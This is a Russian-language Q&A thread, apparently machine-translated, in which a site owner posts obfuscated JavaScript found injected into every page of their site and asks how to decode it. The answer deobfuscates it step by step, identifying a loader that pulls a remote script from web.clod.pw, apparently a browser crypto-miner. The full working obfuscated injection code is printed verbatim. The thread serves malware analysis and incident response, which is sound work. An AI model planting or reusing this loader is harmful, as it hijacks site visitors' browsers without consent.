Взломать, скрипт, вредонос, декодер?

Я получил ЭТО в заголовке каждой страницы моего сайта... вопрос, как расшифровать его, чтобы узнать, что он делает?

вот код:

<script>
$ = ~[];
$ = {
    ___: ++$,
    $$$$: (![] + "")[$],
    __$: ++$,
    $_$_: (![] + "")[$],
    _$_: ++$,
    $_$$: ({} + "")[$],
    $$_$: ($[$] + "")[$],
    _$$: ++$,
    $$$_: (!"" + "")[$],
    $__: ++$,
    $_$: ++$,
    $$__: ({} + "")[$],
    $$_: ++$,
    $$$: ++$,
    $___: ++$,
    $__$: ++$
};
$.$_ = ($.$_ = $ + "")[$.$_$] + ($._$ = $.$_[$.__$]) + ($.$$ = ($.$ + "")[$.__$]) + ((!$) + "")[$._$$] + ($.__ = $.$_[$.$$_]) + ($.$ = (!"" + "")[$.__$]) + ($._ = (!"" + "")[$._$_]) + $.$_[$.$_$] + $.__ + $._$ + $.$;
$.$$ = $.$ + (!"" + "")[$._$$] + $.__ + $._ + $.$ + $.$$;
$.$ = ($.___)[$.$_][$.$_];
$.$($.$($.$$ + "\"" + "\\" + $.__$ + $.$$_ + $.$$_ + $.$_$_ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.$__ + $.___ + $.$$$_ + (![] + "")[$._$_] + "\\" + $.$__ + $.___ + "=\\" + $.$__ + $.___ + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "." + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$$_ + $.$_$_ + $.__ + $.$$$_ + "\\" + $.__$ + $.___ + $.$_$ + (![] + "")[$._$_] + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "('\\" + $.__$ + $.$$_ + $._$$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.__$ + $.$_$ + $.__$ + "\\" + $.__$ + $.$$_ + $.___ + $.__ + "');" + $.$$$_ + (![] + "")[$._$_] + ".\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__ + "='\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $._$$ + "://\\" + $.__$ + $.$$_ + $.$$$ + $.$$$_ + $.$_$$ + "." + $.$$__ + (![] + "")[$._$_] + $._$ + $.$$_$ + ".\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + "/\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "/\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.$$_ + $.$$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.$__ + $.$$$ + (![] + "")[$._$_] + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $.$__ + $.$$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$$$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$_ + $.__$ + $.$_$ + $.$$_$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + $.$___ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + $.___ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.___ + $._$$ + $.__ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + $._$_ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $._$$ + "_\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.___ + $.$$__ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$$_ + $.__$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$_$ + $.$$_$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $._$_ + $.__$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.__$ + $.$$_ + $.$$__ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.$__ + $.$_$_ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$__ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.__$ + $.$_$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + $.$_$_ + ".\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "?" + $.__ + "\\" + $.__$ + $.$$_ + $._$_ + (![] + "")[$._$_] + "=" + $.___ + "." + $._$$ + $.___ + "';" + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + ".\\" + $.__$ + $.$_$ + $.___ + $.$$$_ + $.$_$_ + $.$$_$ + "." + $.$_$_ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.___ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $.$_$ + $.__$ + (![] + "")[$._$_] + $.$$_$ + "(" + $.$$$_ + (![] + "")[$._$_] + ");" + "\"")())();
</script>

1 ответ

Решение

Я был в состоянии разоблачить большую часть этого. Последним будет создание функции, которая будет создавать тег сценария, вставлять его в DOM и затем устанавливать src на следующий URL:

https://web.clod.pw/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.30

Скрипт, который загружает швы, чтобы попытаться загрузить крипто-майнер, так как некоторые из ключевых вещей в его источнике: WebMiner а также runMiner(),

Достаточно сказать:

  1. Выключи свой сервер
  2. Протрите свой сервер
  3. И восстановить из резервной копии

Это выглядит действительно гнусно. Это запутано, и первые биты просто служат для создания некоторых ключевых слов, которые можно использовать. Последняя строка является важной частью, и я считаю, что она пытается создать Function это вернет некоторую строку Unicode, которую нужно извлечь из global. Это то, о чем я до сих пор размышлял:

$ = ~[];                    // -1

$ = {
    ___: ++$,               // 0
    $$$$: (![] + "")[$],    // 'f'
    __$: ++$,               // 1
    $_$_: (![] + "")[$],    // 'a'
    _$_: ++$,               // 2
    $_$$: ({} + "")[$],     // 'b'
    $$_$: ($[$] + "")[$],   // 'd'
    _$$: ++$,               // 3
    $$$_: (!"" + "")[$],    // 'e'
    $__: ++$,               // 4
    $_$: ++$,               // 5
    $$__: ({} + "")[$],     // 'c'
    $$_: ++$,               // 6
    $$$: ++$,               // 7
    $___: ++$,              // 8
    $__$: ++$               // 9
};

$.$_ =                              // 'constructor'
    ($.$_ = $ + "")[$.$_$] +        // 'c'
    ($._$ = $.$_[$.__$]) +          // 'o'
    ($.$$ = ($.$ + "")[$.__$]) +    // 'n'
    ((!$) + "")[$._$$] +            // 's'
    ($.__ = $.$_[$.$$_]) +          // 't'
    ($.$ = (!"" + "")[$.__$]) +     // 'r'
    ($._ = (!"" + "")[$._$_]) +     // 'u'
    $.$_[$.$_$] +                   // 'c'
    $.__ +                          // 't'
    $._$ +                          // 'o'
    $.$;                            // 'r'

$.$$ =                      // 'return'
    $.$ +                   // 'r'
    (!"" + "")[$._$$] +     // 'e'
    $.__ +                  // 't'
    $._ +                   // 'u'
    $.$ +                   // 'r'
    $.$$;                   // 'n'

$.$ = ($.___)[$.$_][$.$_]; // (Number).constructor.constructor

// This is where the actual function is created and called to download another script off of another domain.
$.$(
    $.$(
        // A whole lot of unicode shenanigans
    )()
)();
Другие вопросы по тегам